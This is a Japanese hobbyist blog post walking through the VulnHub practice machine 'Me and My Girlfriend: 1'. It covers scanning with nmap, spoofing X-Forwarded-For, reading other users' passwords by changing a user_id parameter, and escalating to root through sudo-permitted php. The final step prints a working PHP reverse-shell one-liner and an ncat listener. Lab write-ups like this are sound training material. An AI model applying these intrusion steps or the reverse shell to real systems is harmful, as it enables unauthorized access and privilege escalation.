kurotoのブログ

ただの日記帳

Me and My Girlfriend: 1のwalkthrough

はじめに

これをやる

flagはニコ

$ipは環境にあわせて変える

www.vulnhub.com

調査

前と同じようにsudo netdiscover -r $ip,nmap -A -p- -sV $ipのコンボ

$ nmap -p- -A -sV 192.168.100.44 57

Starting Nmap 7.60 ( https://nmap.org ) at 2020-02-29 14:48 JST
Nmap scan report for
Host is up (0.00017s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 57:e1:56:58:46:04:33:56:3d:c3:4b:a7:93:ee:23:16 (DSA)
| 2048 3b:26:4d:e4:a0:3b:f8:75:d9:6e:15:55:82:8c:71:97 (RSA)
| 256 8f:48:97:9b:55:11:5b:f1:6c:1d:b3:4a:bc:36:bd:b0 (ECDSA)
|_ 256 d0:c3:02:a1:c4:c2:a8:ac:3b:84:ae:8f:e5:79:66:76 (EdDSA)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

とりあえずアクセスしてみる

f:id:kuroto_jp:20200229150819p:plain
192.168.100.44のsource

ローカルからしか見れないようで、ヒントでx-forwarded-forと書かれているので、ヘッダにつけて送る

便利そうな下のアドオンを入れた

f:id:kuroto_jp:20200229151219p:plain
firefoxのアドオン

ページが現れた

f:id:kuroto_jp:20200229151515p:plain
ページ

login機能があったので、kuroto, kurotoでregisterした後にloginしてみた f:id:kuroto_jp:20200229152038p:plain パラメータにuser_idがある。どう考えても怪しい。profileに行くとusernameとpasswordが表示される。

profile画面でuser_idを変えるとpasswordが見れる

f:id:kuroto_jp:20200229152759p:plain
passwordが見えている

user_idの1~5がいるようなので、sshで繋いでみるとaliceだけヒットした(後で問題文を見るとAliceとBobが重要人物っぽい)

/home/alice/.my_secret/flag1.txtが一つ目のflagだった

alice@gfriEND:~$ sudo -l                            
Matching Defaults entries for alice on gfriEND:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on gfriEND:
    (root) NOPASSWD: /usr/bin/php

rootになれるっぽい

リバースシェルを実行させて終わり

$ cat shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/1234 0>&1'"); ?>
$ sudo -u root /usr/bin/php shell.php
$ ncat -lvp 1234
root@gfriEND:~# cd /root
root@gfriEND:/root# ls
flag2.txt
root@gfriEND:/root#

flag2.txtをcatして終わり

感想

前のに比べて簡単だった

bobでて来なかった

次はこれ

www.vulnhub.com